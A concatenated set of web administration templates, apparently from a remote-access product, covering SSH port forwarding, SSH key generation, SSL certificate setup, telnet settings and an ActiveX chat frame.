<a href="&TEMPLATE&?%RND%&sid=%SID%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<img onclick="showDlg(0)" src="img/ico_newdoc.gif" title="&CONFIG.SSHPORTFWD.TIP.CREATE&" border="0">
<img id="toolattr" onclick="showDlg(1)" src="img/ico_prop_off.gif" title="&CONFIG.SSHPORTFWD.TIP.PROP&" border="0">
<a href="javascript:delItem()"><img	id="tooldel"	src="img/ico_delete_off.gif"	title="&CONFIG.SSHPORTFWD.TIP.DEL&" border="0"></a>
</div>
</div>
<div align="right"><button value="&DIALOG.BACK&" onclick="window.location='cfgperm.html?op=edit&sid=%SID%'">&DIALOG.BACK&</button></div>

<?if RULES?>
<br>
<table id="flist" class="inner" align=center width="80%">
<!-- HEADER -->
<thead>
<tr>
<th rowspan=2>&nbsp;</th>
<th colspan=3><?&CONFIG.PORTFWD.IN?></th>
<th colspan=3><?&CONFIG.PORTFWD.OUT?></th>
<th rowspan=2><?&CONFIG.PORTFWD.STATUS?></th>
<th rowspan=2><?&CONFIG.SSHPORTFWD.DESCR?></th>
</tr>
<tr class="ttd">
<td><?&CONFIG.SSHPORTFWD.PORT?>&nbsp;</td>
<td><?&CONFIG.SSHPORTFWD.DESTHOST?>&nbsp;</td>
<td><?&CONFIG.SSHPORTFWD.DESTPORT?>&nbsp;</td>
<td><?&CONFIG.SSHPORTFWD.PORT?>&nbsp;</td>
<td><?&CONFIG.SSHPORTFWD.DESTHOST?>&nbsp;</td>
<td><?&CONFIG.SSHPORTFWD.DESTPORT?>&nbsp;</td>
</tr>
</thead>
<!-- CONTENT -->
<tbody>
<?if RULES?>
<?enum RULES?>
<tr onclick="chkToolbar()" 
ondblclick="showDlg(1)">
<td><?&RULE.INDEX?></td>
<td class="num"><?&RULE.IN.PORT?></td>
<td><?&RULE.IN.DESTHOST?></td>
<td class="num"><?&RULE.IN.DESTPORT?></td>
<td class="num"><?&RULE.OUT.PORT?></td>
<td><?&RULE.OUT.DESTHOST?></td>
<td class="num"><?&RULE.OUT.DESTPORT?></td>
<td>
<?
if RULE.ENABLED
&CONFIG.PORTFWD.ENABLED
else
&CONFIG.PORTFWD.DISABLED
endif
?>
</td>
<td><?&RULE.DESCR?></td>
</tr>
<?next?>
<?endif?>
</tbody>
</table>
<script type="text/javascript">
// MULTISELECT TABLE
var trows = new SelectableTableRows(document.getElementById("flist"), true);
</script>
</table>
</div>	
<?else?>
<p>&nbsp;

</p>
<p>
<center>
<?&CONFIG.PORTFWD.NORULES?>
<?&CONFIG.PORTFWD.PLEASECLICKSTART?>
</center>
</p>
<script type="text/javascript">
var trows = null;
</script>
<?endif?>

<div id="sshfwdProp" class="subwindow" style="left:150px;top:90px;width:450;">
<div class="titleBar"><img src="img/menu_server.png?bg=%COLOR.CapBack%" align="absmiddle">&nbsp;<?&CONFIG.SSHPORTFWD.TITLE?> - <?&PROPS?></div>
<center>
<form action="&TEMPLATE&" method="get" ID="PropForm">
<fieldset><legend>In</legend>
<table width="95%">
<tr><td align="right"><?&CONFIG.SSHPORTFWD.PORT?>: </td><td><input type="text" name="INPORT"></td></tr>
<tr><td align="right"><?&CONFIG.SSHPORTFWD.DESTHOST?>: </td><td><input type="text" name="INDESTHOST"></td></tr>
<tr><td align="right"><?&CONFIG.SSHPORTFWD.DESTPORT?>: </td><td><input type="text" name="INDESTPORT"></td></tr>
</table>
</fieldset>
<fieldset><legend>Out</legend>
<table width="95%">
<tr><td align="right"><?&CONFIG.SSHPORTFWD.PORT?>: </td><td><input type="text" name="OUTPORT"></td></tr>
<tr><td align="right"><?&CONFIG.SSHPORTFWD.DESTHOST?>: </td><td><input type="text" name="OUTDESTHOST"></td></tr>
<tr><td align="right"><?&CONFIG.SSHPORTFWD.DESTPORT?>: </td><td><input type="text" name="OUTDESTPORT"></td></tr>
</table>
</fieldset>
<fieldset>
<table width="95%">
<tr><td align="right"><?&CONFIG.SSHPORTFWD.DESCR?>: </td><td><input type="text" name="DESCR"></td></tr>
<tr><td align="right"><?&CONFIG.PORTFWD.ENABLED?>: </td><td><input type="checkbox" name="chkEnabled"></td></tr>
</table>
</fieldset><br><br>
<input type="submit" value="<?&DIALOG.Apply?>" onclick="checkForm()">
<input type="button" value="<?&DIALOG.Back?>" onclick="winShow( 'sshfwdProp', false )">
<input type="hidden" name="ENABLED" value="">
<input type="hidden" name="OP" value="">
<input type="hidden" name="IDX" value="">
<input type="hidden" name="SID" value="">
</form><center>
</div>	
</body>
</html>
r"cfgsshpubkey.htmlrI<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "passsave.inc"?>
</head>
<body>

<?
action "cfgsshpubkey"
usemacro WINERRDLG()
?>

<script language="JavaScript"><!--

function checkParams(f)
{
if (f.pwd.value != f.pwdconfirm.value)
{
alert("$MSG.DIALOG.PWDMISMATCH$");
f.pwd.focus();
return false;
}

if (f.pwd.value.length > 0 && f.pwd.value.length < 5)
{
alert("$MSG.CONFIG.SSHPUBKEY.PWDTOOSHORT$");
f.pwd.focus();
return false;
}

if (f.bits.value < 512 || f.bits.value > 4096)
{
alert("$MSG.CONFIG.SSHPUBKEY.INVALIDKEYSIZE$");
f.bits.focus();
return false;
}

return true;
}

function delKey(f, fp, comment)
{
if (confirm("$MSG.CONFIG.SSHPUBKEY.DELKEYCONFIRM$".replace(/\$1/, fp).replace(/\$2/, comment)))
{
f.op.value = "delkey";
f.delfp.value = fp;
f.delcomment.value = comment;
f.submit();
}
}

//--></script>

<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&CONFIG.SSHPUBKEY.TITLE&<?if MSG?> - &CONFIG.SSHPUBKEY:MSG&<?endif?></span></div>
<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%CONFIG.SSHPUBKEY.TITLE%&favicon=menu_pref.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?sid=%SID%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>

<center>
<form name="sshkey" action="&TEMPLATE&" method="post">
<input type="hidden" name="op" value="">
<input type="hidden" name="sid" value="&SID&">
<input type="hidden" name="delfp" value="">
<input type="hidden" name="delcomment" value="">

<?if PRIVKEYFILE?>

<fieldset>
<legend>&CONFIG.SSHPUBKEY.PRIVKEYTITLE&</legend>

<br>

<?if PRIVKEYNEW?>

&CONFIG.SSHPUBKEY.PRIVKEYNEW&

<?else?>

&CONFIG.SSHPUBKEY.PRIVKEYOLD&

<?endif?>
&CONFIG.SSHPUBKEY.PRIVKEYWARN&
<br><br>

<input type="button" value="&CONFIG.SSHPUBKEY.PRIVKEYDL&" onclick="window.location='/download/?file=%PRIVKEYFILE%';">&nbsp;
<input type="submit" value="&CONFIG.SSHPUBKEY.PRIVKEYPURGE&" onclick="this.form.op.value='purgepriv';">

</fieldset><br><br>

<?endif // PRIVKEYFILE?>

<fieldset>

<legend>&CONFIG.SSHPUBKEY.KEYS&</legend>

<?if KEYS?>
<br><table class="inner">
<tr>
<th>&nbsp;</th>
<th>&nbsp;&CONFIG.SSHPUBKEY.TYPE&&nbsp;</th>
<th>&nbsp;&CONFIG.SSHPUBKEY.BITS&&nbsp;</th>
<th>&nbsp;&CONFIG.SSHPUBKEY.FINGERPRINT&&nbsp;</th>
<th>&nbsp;&CONFIG.SSHPUBKEY.COMMENT&&nbsp;</th>
<th>&nbsp;&CONFIG.SSHPUBKEY.PUBKEYCOPY&&nbsp;</th>
</tr>

<?enum KEYS?>
<tr>
<td align="center"><img border=0 src="img/ico_kill.png?bg=%COLOR.DlgBack%" title="&CONFIG.SSHPUBKEY.DELKEY&" onclick="delKey(document.forms.sshkey, '$KEY.FINGERPRINT$', '$KEY.COMMENT$');"></td>
<td>&CONFIG.SSHPUBKEY.TYPE:KEY.TYPE&</td>
<td>&KEY.BITS&</td>
<td>&KEY.FINGERPRINT&</td>
<td>&KEY.COMMENT&</td>
<td><input type="text" value="&KEY.VALUE& &KEY.COMMENT&"></td>
</tr>
<?next?>

</table>

<?else // KEYS?>

&CONFIG.SSHPUBKEY.NOKEYS&<br>

<?endif?>

<br>
<input type="text" name="pubkey" size=80 value="&CONFIG.SSHPUBKEY.ADDKEYHINT&" onfocus="if (value=='$CONFIG.SSHPUBKEY.ADDKEYHINT$') value='';" onblur="if (value=='') value='$CONFIG.SSHPUBKEY.ADDKEYHINT$'">&nbsp;
<input type="submit" value="&CONFIG.SSHPUBKEY.ADDPUBKEY&" onclick="this.form.op.value='addpubkey';">
<br>

</fieldset><br><br>

<fieldset>
<legend>&CONFIG.SSHPUBKEY.GENKEYTITLE&</legend>

<table width="90%">
<tr>
<td align="right">&CONFIG.SSHPUBKEY.TYPE&:</td>
<td>
<input type="radio" name="type" value="1" checked>&CONFIG.SSHPUBKEY.TYPE.1&&nbsp;
<input type="radio" name="type" value="2">&CONFIG.SSHPUBKEY.TYPE.2&
</td>
</tr><tr>
<td align="right">&CONFIG.SSHPUBKEY.BITS&:</td>
<td><input type="text" name="bits" value="2048" size="5"></td>
</tr><tr>
<td align="right">&CONFIG.SSHPUBKEY.COMMENT&:</td>
<td><input type="text" name="comment" value="&USER&"></td>
</tr>
</tr><tr>
<td align="right">&DIALOG.PWDENTRY&:</td>
<td><input type="password" name="pwd"></td>
</tr>
<tr>
<td align="right">&DIALOG.PWDCONFIRM&:</td>
<td><input type="password" name="pwdconfirm"></td>
</tr>
</table><br>
&CONFIG.SSHPUBKEY.KEYPWDHINT&
<br><br>
<input type="submit" value="&CONFIG.SSHPUBKEY.GENKEY&" onclick="this.form.op.value='genkey'; return checkParams(this.form);"><br>

</fieldset><br><br>

<input type="button" value="&DIALOG.BACK&" onclick="window.location='/cfgssh.html';">

</form></center>
</div>


<?if PRIVKEYNEW?>
<div style="display:none">
<iframe src="/download/?file=%PRIVKEYFILE%"></iframe>
</div>
<?endif?>

</body>
</html>
Ccfgssl.html-"<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>

<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("secure")?><span class="titleText">&MSG.CONFIG.SSL.TITLE&</span></div>
<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.CONFIG.SSL.TITLE%&favicon=menu_secure.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>
<center><br>

<form action="&TEMPLATE&" method="get">
<fieldset style="width:95%"><br>
<?if REQ.CERT = "svc"?>
<input type="hidden" name="cert" value="&REQ.CERT&">
<table width="95%"><tr><td align="center">

<?if REQ.CSVC?>

<?action "sslcreate"?>
<?if WINERRMSG?>
&MSG.DIALOG.ERROR&: &WINERRMSG&<br>
<?else?><?set DONE="1"?>
&MSG.CONFIG.SSL.SRV.DONE&<br>
<?endif?>
<?else?>

<?action "sslsvcs" // list certificate services ?><?usemacro WINERRDLG()?>
<?set BACK="1"?>
&MSG.CONFIG.SSL.SRV.LIST&<br><br></td></tr><tr><td align="center">
<select name="csvc" size="10">
<?enum CSVCS?>
<option value="&CSVC.CONFIG&">&CSVC.SERVER& - &CSVC.SERVICE&
<?next?>
</select><br></td></tr><tr><td align="center">
<table>
<tr><td colspan="2" align="center">&nbsp;</td></tr>
<tr><td colspan="2" align="left">&MSG.CONFIG.SSL.SRV.NEWPARAMS&</td></tr>
<tr><td colspan="2" align="center">&nbsp;</td></tr>
<tr><td align="right">&MSG.CONFIG.SSL.COMPUTER&:</td><td align="left"><input type="text" name="computer" size="20" value="&DEFCOMPUTER&" maxsize="128"></td></tr>
<tr><td align="right">&MSG.CONFIG.SSL.KEYSIZE&:</td><td align="left"><select name="rakeysize">
<option value=512>512</option>
<option value=1024>1024</option>
<option value=2048 selected>2048</option>
<option value=4096>4096</option>
</select></td></tr>
<tr><td align="right">&MSG.CONFIG.SSL.ALTHOST& 1:</td><td align="left"><input type="text" name="althost1" size="20" value="&ALTHOST1&" maxsize="128"></td></tr>
<tr><td align="right">&MSG.CONFIG.SSL.ALTHOST& 2:</td><td align="left"><input type="text" name="althost2" size="20" value="&ALTHOST2&" maxsize="128"></td></tr>
<tr><td align="right">&MSG.CONFIG.SSL.ALTHOST& 3:</td><td align="left"><input type="text" name="althost3" size="20" value="&ALTHOST3&" maxsize="128"></td></tr>
<tr><td align="right">&MSG.CONFIG.SSL.ALTHOST& 4:</td><td align="left"><input type="text" name="althost4" size="20" value="&ALTHOST4&" maxsize="128"></td></tr>
<tr><td align="right">&MSG.CONFIG.SSL.ALTHOST& 5:</td><td align="left"><input type="text" name="althost5" size="20" value="&ALTHOST5&" maxsize="128"></td></tr>
</table>

<?endif?>
</td></tr></table>

<?elseif REQ.CERT = "new"?>

<input type="hidden" name="cert" value="&REQ.CERT&">
<?if REQ.CA?>

<?action "sslcreate"?>
<table width="95%"><tr><td align="center">
<?if WINERRMSG?>
&MSG.DIALOG.ERROR&: &WINERRMSG&
<?else?><?set DONE="1"?>
&MSG.CONFIG.SSL.CA.DONE&
<?endif?>
</td></tr></table>

<?else?>

<?action "sslcerts" REQ.TYPE="ca" // list stored cas ?><?usemacro WINERRDLG()?>
<?set BACK="1"?>
<script language="JavaScript">
function chg(sel) {
var d = (sel.options[sel.selectedIndex].value != "new");
sel.form.country.disabled = d;
sel.form.company.disabled = d;
sel.form.cakeysize.disabled = d;
}
</script>
<table width="95%" align="center"><tr><td>
&MSG.CONFIG.SSL.CA.LIST&<br></td></tr><tr><td align=center>
<select name="ca" size="10" onchange="chg(this)">
<?enum CERTS?><?if CERT.AVAIL?>
<option value="&CERT.ID&">&CERT.NAME& - &CERT.ISSUER& (&CERT.USAGE&)
<?endif?><?next?>
<option value="new" selected>-- &MSG.CONFIG.SSL.CA.NEW& --
</select><br><br>
</td></tr><tr><td>
<table>
<tr><td colspan="2" align="center">&MSG.CONFIG.SSL.CA.NEWPARAMS&</td></tr>
<tr><td colspan="2" align="center">&nbsp;</td></tr>
<tr><td align="right">&MSG.CONFIG.SSL.COUNTRY&:</td><td align="left"><input type="text" name="country" size="20" value="&DEFCOUNTRY&" maxsize="2"></td></tr>
<tr><td align="right">&MSG.CONFIG.SSL.COMPANY&:</td><td align="left"><input type="text" name="company" size="20" value="&DEFCOMPANY&" maxsize="128"></td></tr>
<tr><td align="right">&MSG.CONFIG.SSL.KEYSIZE&:</td><td align="left"><select name="cakeysize">
<option value=512>512</option>
<option value=1024>1024</option>
<option value=2048 selected>2048</option>
<option value=4096>4096</option>
</select></td></tr>
<tr><td colspan="2" align="center">&nbsp;</td></tr>
<tr><td colspan="2" align="left">&MSG.CONFIG.SSL.SRV.NEWPARAMS&</td></tr>
<tr><td colspan="2" align="center">&nbsp;</td></tr>
<tr><td align="right">&MSG.CONFIG.SSL.COMPUTER&:</td><td align="left"><input type="text" name="computer" size="20" value="&DEFCOMPUTER&" maxsize="128"></td></tr>
<tr><td align="right">&MSG.CONFIG.SSL.KEYSIZE&:</td><td align="left"><select name="rakeysize">
<option value=512>512</option>
<option value=1024>1024</option>
<option value=2048 selected>2048</option>
<option value=4096>4096</option>
</select></td></tr>
<tr><td align="right">&MSG.CONFIG.SSL.ALTHOST& 1:</td><td align="left"><input type="text" name="althost1" size="20" value="&ALTHOST1&" maxsize="128"></td></tr>
<tr><td align="right">&MSG.CONFIG.SSL.ALTHOST& 2:</td><td align="left"><input type="text" name="althost2" size="20" value="&ALTHOST2&" maxsize="128"></td></tr>
<tr><td align="right">&MSG.CONFIG.SSL.ALTHOST& 3:</td><td align="left"><input type="text" name="althost3" size="20" value="&ALTHOST3&" maxsize="128"></td></tr>
<tr><td align="right">&MSG.CONFIG.SSL.ALTHOST& 4:</td><td align="left"><input type="text" name="althost4" size="20" value="&ALTHOST4&" maxsize="128"></td></tr>
<tr><td align="right">&MSG.CONFIG.SSL.ALTHOST& 5:</td><td align="left"><input type="text" name="althost5" size="20" value="&ALTHOST5&" maxsize="128"></td></tr>
</table>
</td></tr></table>

<?endif?>

<?elseif REQ.CERT?>

<?action "sslset" // set the selected certificate ?>
<table width="95%"><tr><td align="center">
<?if WINERRMSG?>
&MSG.DIALOG.ERROR&: &WINERRMSG&<br>
<?else?><?set DONE="1"?>
&MSG.CONFIG.SSL.SC.DONE&<br>
<?endif?>
</td></tr></table>

<?else?>

<?action "sslcerts" REQ.TYPE="sc" // list stored certificates ?><?usemacro WINERRDLG()?>
<table width="95%"><tr><td align=center>
&MSG.CONFIG.SSL.SC.LIST&<br>
</td></tr><tr><td align=center>
<select name="cert" size="10">
<?enum CERTS?><?if CERT.AVAIL?>
<option value="&CERT.ID&" title="&CERT.ID&" <?selected CERT.ID=CURRENT.ID?>>&CERT.NAME& - &CERT.ISSUER& (&CERT.USAGE&)
<?else?><?set SCNP="1"?><?endif?><?next?>
<?if DEFCSVC?>
<option value="svc">-- &MSG.CONFIG.SSL.SC.SVC& --
<?endif?>
<option value="new">-- &MSG.CONFIG.SSL.SC.NEW& --
</select><br>
</td></tr><tr><td align=center>

<?if SCNP // got any unusable certificates ?>
<br>
&MSG.CONFIG.SSL.SC.LISTNP&<br>
</td></tr><tr><td align=center>
<select name="certnp" size="5" disabled>
<?enum CERTS?><?if not CERT.AVAIL?>
<option>&CERT.NAME& - &CERT.ISSUER& (&CERT.USAGE&)
<?endif?><?next?>
</select><br>
<?endif?>
</td></tr></table>

<?endif?>
<br>
<?if not DONE?>
<table><tr><td>
<?if BACK?><input type="button" name="cancel" value="&MSG.DIALOG.PREV&" onclick="history.back()"><?endif?>
<input type="submit" name="submit" value="&MSG.DIALOG.CONTINUE&"><br>
</td></tr></table>
<?if NTLM?><br>&MSG.CONFIG.SSL.NTLMNOTE&<br><?endif?>
<?endif?>

</fieldset>
</form>

<? 
if CURRENT.NAME
if not REQ.CERT
set DISPLAY.INSTALLCERT = 1
endif
if DONE
set DISPLAY.INSTALLCERT = 1
endif
endif
?>

<?if DISPLAY.INSTALLCERT?>
<form action="download/" method="post">
<fieldset style="width:95%">
<table width="95%"><tr><td align=center>
&MSG.CONFIG.SSL.SC.INUSE&: &CURRENT.NAME& - &CURRENT.ISSUER&<br>
</td></tr>
<?if not DISPLAY.HIDEINSTALLCERT?>
<tr><td align=center>
<input type="hidden" name="dir" value=".\">
<input type="hidden" name="file" value="cacert.der">
<input type="submit" name="submit" value="&MSG.CONFIG.SSL.InstallDer&">
</td></tr><tr><td align=center>
<div align="left">
<br>
<?&MSG.CONFIG.SSL.InstallDerPara1?>
<ul>
<li><?&MSG.CONFIG.SSL.InstallDerPara2?><br><br></li>
<li><?&MSG.CONFIG.SSL.InstallDerPara3?></li>
</ul>
<?&MSG.CONFIG.SSL.InstallDerPara4?>
<br><br>
<?&MSG.CONFIG.SSL.InstallDerPara5?>
<br><br>
<?&MSG.CONFIG.SSL.InstallDerPara6?>
<br><br>
<?&MSG.CONFIG.SSL.InstallDerPara7?>
</div>
</td></tr>
<?endif?>
</table>
</fieldset>
</form>
<?endif?>

</center>
</div>
</body>
</html>
m cfgtelnet.htmll<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<?
action "cfgtelnet"
usemacro WINERRDLG()
?>

<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&CONFIG.TELNET.TITLE&<?if MSG?> - &CONFIG.TELNET:MSG&<?endif?></span></div>
<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%CONFIG.TELNET.TITLE%&favicon=menu_pref.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&MSG.DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<a href="telnet.html?%RND%"><img src="img/ico_dos.gif" border="0" title="&MSG.TELNET.TITLE&"></a>
</div>
</div>
<?endif?>

<center>
<form action="&TEMPLATE&" method="post">
<input type="hidden" name="op" value="update">
<input type="hidden" name="restart" value="">

<?if REQ.RESTART?>

&MSG.CONFIG.NEEDRESTART&<br><br>
<input type="button" value="&MSG.ADMIN.REBOOT.RESTARTTITLE&" onclick="window.location='restart.html?type=ra'"><br><br>

<?else?>

<script language="JavaScript">
function rr(inp) { inp.form.restart.value='yes'; }
</script>
<?if not BRAND.LOGMEIN?>
<br>
<fieldset>
<table width="90%">
<tr><td width="50%" align="right">
*&CONFIG.NET.LISTENPORT&</td><td><input type="text" name="PORT" value="&PORT&" onchange="rr(this)"></td>
</tr><tr>
<td align="right">*&CONFIG.NET.LISTENIP&</td>
<td>
<select name="IPADDR" size="4" onchange="rr(this)">
<?enum LISTENIPS?>
<option value="&LISTENIPS.VALUE&" <?selected LISTENIPS.VALUE=IPADDR?>>&LISTENIPS.DISPLAY&</option>
<?next?>
</select>
</td>
</tr>
</table>
</fieldset>
<br><br>
<fieldset>
<table width="90%">
<tr><td width="50%" align="right">
&CONFIG.TELNET.JAVAENABLED&</td><td><input type="checkbox" name="javaenabled" value=1 &JAVAENABLED&>
</td></tr><tr><td align="right">
*&CONFIG.TELNET.TELNETENABLED&</td><td><input type="checkbox" name="telnetenabled" value=1 &TELNETENABLED& onchange="rr(this)">
</td></tr><tr><td align="right">
&CONFIG.TELNET.BANNER&</td><td><input type="checkbox" name="banner" value=1 &BANNER&>
<?if ISNT?>
</td></tr><tr><td align="right">
&CONFIG.TELNET.MAXCONNECTIONS&:</td><td><input type="text" name="maxconnections" value="&MAXCONNECTIONS&">
<?endif?>
</td></tr>
</table>
</fieldset>
<br><br>	
<fieldset><legend>&CONFIG.TELNET.TIMEOUTS&</legend>
<center><table width="90%">
<tr>
<td width="50%" align="right">&CONFIG.TELNET.LOGINTIMEOUT&:</td>
<td><input type="text" name="logintimeout" value="<?&LOGINTIMEOUT _spn?>">&nbsp;(&MSG.SPNFMT&)</td>
</tr><tr>
<td align="right">&CONFIG.TELNET.IDLETIMEOUT&:</td>
<td><input type="text" name="idletimeout" value="<?&IDLETIMEOUT _spn?>">&nbsp;(&MSG.SPNFMT&)</td>
</tr><tr>
<td align="right">&CONFIG.TELNET.RECONNECTTIMEOUT&:</td>
<td><input type="text" name="reconnecttimeout" value="<?&RECONNECTTIMEOUT _spn?>">&nbsp;(&MSG.SPNFMT&)</td>
</tr>
</table>
<br><table width="90%"><tr><td align=center><font color="<?&COLOR.Link?>">&CONFIG.TELNET.TIMEOUTS.NOTE&</font></td></tr></table><br>
</center>
</fieldset>
<br>
<?endif // not BRAND.LOGMEIN?>
<br>
<fieldset><legend>&CONFIG.TELNET.JAVACLIENT&</legend>
<center><table width="90%">
<tr>
<td width="50%" align="right">&CONFIG.TELNET.WIDTH&:</td>
<td><input type="text" name="javawidth" value="&JAVAWIDTH&"></td>
</tr><tr>
<td align="right">&CONFIG.TELNET.HEIGHT&:</td>
<td><input type="text" name="javaheight" value="&JAVAHEIGHT&"></td>
</tr>
</table></center>
</fieldset>
<br>
<?if not BRAND.LOGMEIN?>
<br>	
<fieldset><legend>&CONFIG.TELNET.TELNETCLIENT&</legend>
<center><table width="90%">
<tr>
<td width="50%" align="right">&CONFIG.TELNET.WIDTH&:</td>
<td><input type="text" name="telnetwidth" value="&TELNETWIDTH&"></td>
</tr><tr>
<td align="right">&CONFIG.TELNET.HEIGHT&:</td>
<td><input type="text" name="telnetheight" value="&TELNETHEIGHT&"></td>
</tr><tr>
<td align="right">&CONFIG.TELNET.MODE&:</td>
<td>
<select name="mode">
<option value=1 &MODE.STREAM&>&CONFIG.TELNET.STREAM&</option>
<option value=2 &MODE.MONOCHROME&>&CONFIG.TELNET.MONOCHROME&</option>
<option value=3 &MODE.COLOR&>&CONFIG.TELNET.COLOR&</option>
</select>						
</td>
</tr>
<tr>
<td align="right">&CONFIG.TELNET.ASKPARAMS&</td>
<td><input type="checkbox" name="askparams" value=1 &ASKPARAMS&></td>
</tr>
</table></center>
</fieldset>

<br>
<?endif // not BRAND.LOGMEIN?>
<br>
<input type="submit" name="submit" value="&MSG.DIALOG.APPLY&">
<br>
<?if not BRAND.LOGMEIN?>
<br>
<font color="<?&COLOR.Link?>">*&MSG.CONFIG.NEEDRESTART&</font>
<br>
<?endif?>
<br>

<?endif // REQ.RESTART?>

</form>
</center>
</div>
</body>
</html>
TX	chat.html|3<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?
// set the default control type
if not REQ.TYPE
set REQ.TYPE = "activex"
endif
?>
<html>
<head><?include "setupdomain.html"?>
<title>&SRVNAME& - &MSG.CHAT.TITLE& - &PRODUCTNAME&</title>
<?include "style.inc"?>
</head>

<?
if REQ.APP
include "chat_app.html"
else
include "chat_frame.html"
endif
?>
</html>
}chat.xmlZ<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?
if not REQ.TYPE
set REQ.TYPE = "activex"
endif
set session ISBORGCONNECTED = "Yes"
?>

<?action "appletssl"?>
<?action "chat"?>
<?xml version="1.0" encoding="utf-8"?>
<chat>
<?include "chat_params.html"?>
</chat>

chat_app.html<?ratmpl?>

<?include "activex.inc"?>
<?include "chkobject.inc"?>

<?
if REQ.APPLETWIDTH
set APPLETWIDTH = REQ.APPLETWIDTH
set APPLETHEIGHT = REQ.APPLETHEIGHT
else
action "appletsize"
endif
?>

<?if not REQ.APPLETWIDTH?>
<script language="JavaScript"> 
function appletResize() {
var w_newWidth, w_newHeight, w_titleHeight;
w_titleHeight = 0;
var vContainer1 = document.getElementById("title1");
if (vContainer1)
w_titleHeight = vContainer1.offsetHeight;
w_newWidth =self.innerWidth; 
w_newHeight=self.innerHeight - w_titleHeight; 
window.location.replace('&TEMPLATE&?type=java&appletwidth=' + w_newWidth + '&appletheight=' + w_newHeight +  "&app=1");
}
</script> 		
<?endif?>

<body <?if not REQ.APPLETWIDTH?>onload="appletResize();"<?else?>onload="chkObject('axControlZ', false);"<?endif?>>
<table class="window" width="100%" height="100%"
<?if BRAND.LOGMEIN // Mozilla tends to screw up without this (only LMI - see window.css)?> 
style="height: 100%;"
<?endif?>
>
<tr><td height="100%" align="center" <?if UI="secrem"?>style="border=1px solid black"<?endif?>>
<?if REQ.APPLETWIDTH?>
<?action "appletssl"?>
<?action "chat"?>
<?if not WINERRNUM?>
<?if REQ.TYPE="activex"?>
<?usemacro OBJECTOPEN(ACTIVEX.CAB, "CLSID:FA5369ED-D19A-434C-8F59-EE90D690D36C", "100%", "100%", "axControlZ")?>
<?include "chat_params.html"?>
<?usemacro OBJECTCLOSE()?>
<?endif?>
<?else?> 
<b>&WINERRMSG&</b>
<?endif?> 
</td></tr>
<?endif?>
</table>
</body>
ɧchat_frame.htmlL <?ratmpl?>
<?
if REQ.APPLETWIDTH
set APPLETWIDTH = REQ.APPLETWIDTH
set APPLETHEIGHT = REQ.APPLETHEIGHT
else
action "appletsize"
endif
?>

<frameset rows="*,0" frameborder="0" framespacing="0" border="0" marginwidth="0" marginheight="0" scrolling="no">
<frame src="&TEMPLATE&?type=%REQ.TYPE%&app=1&appletwidth=%APPLETWIDTH%&appletheight=%APPLETHEIGHT%" frameborder="0" framespacing="0" border="0" marginwidth="0" marginheight="0" scrolling="no">
<frame src="empty.html" frameborder="0" framespacing="0" border="0" marginwidth="0" marginheight="0" scrolling="no">
</frameset>
 %2 chat_params.htmlS<?ratmpl?>
<?if REQ.TYPE="activex"?>
<param name="HTTP.HOST" value="&HTTP.HOST&"/>
<param name="HTTP.PORT" value="&HTTP.PORT&"/>
<?endif?>


<param name="PRODUCTNAME" value="&PRODUCTNAME&"/>
<param name="COPYRIGHT" value="&COPYRIGHT&"/>
<param name="machine" value="&SRVNAME&"/>
<param name="WHITELABELED" value="&WHITELABELED&"/>

<param name="SessionID" value="&RASID&"/>
<param name="ForceTunnel" value="&FORCETUNNEL&"/>
<param name="commv" value="4"/>
<param name="Lang" value="&LANG&"/>
<param name="Brand" value="&PRODUCTABBR&"/>
<param name="HostOS" value="&LMIOSTYPE&"/>

<?if BRAND.LOGMEIN?>
<param name="HostID" value="&CFG.WEBSVC.NUMHOSTID&"/>
<param name="WebSvcSID" value="&WEBSVCSID&"/>
<param name="HomeSite" value="&HOMESITE&"/>
<param name="HasCentral" value="&HASCENTRAL&"/>
<param name="IsMAH" value="&ISMAH&"/>
<param name="ProfileID" value="&PROFILEID&"/>
<?endif?>

<param name="SSLOK" value="<?if SSL?>1<?else?>0<?endif?>"/>
<?if CACERT?><param name="CACERT" value="&CACERT&"/><?endif?>
<?if RACERT?><param name="RACERT" value="&RACERT&"/><?endif?>
<?if RAWSSL?><param name="RAWSSL" value="&RAWSSL&"/><?endif?>
<?if RAWSSL?><param name="RAWSSLv2" value="&RAWSSL&"/><?endif?>
E3chgpwd.html/<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head>
<link type="text/css" rel="stylesheet" href="/css/lmiborgsupport.css" />
<?include "setupdomain.html"?>
<?include "title.inc"?>
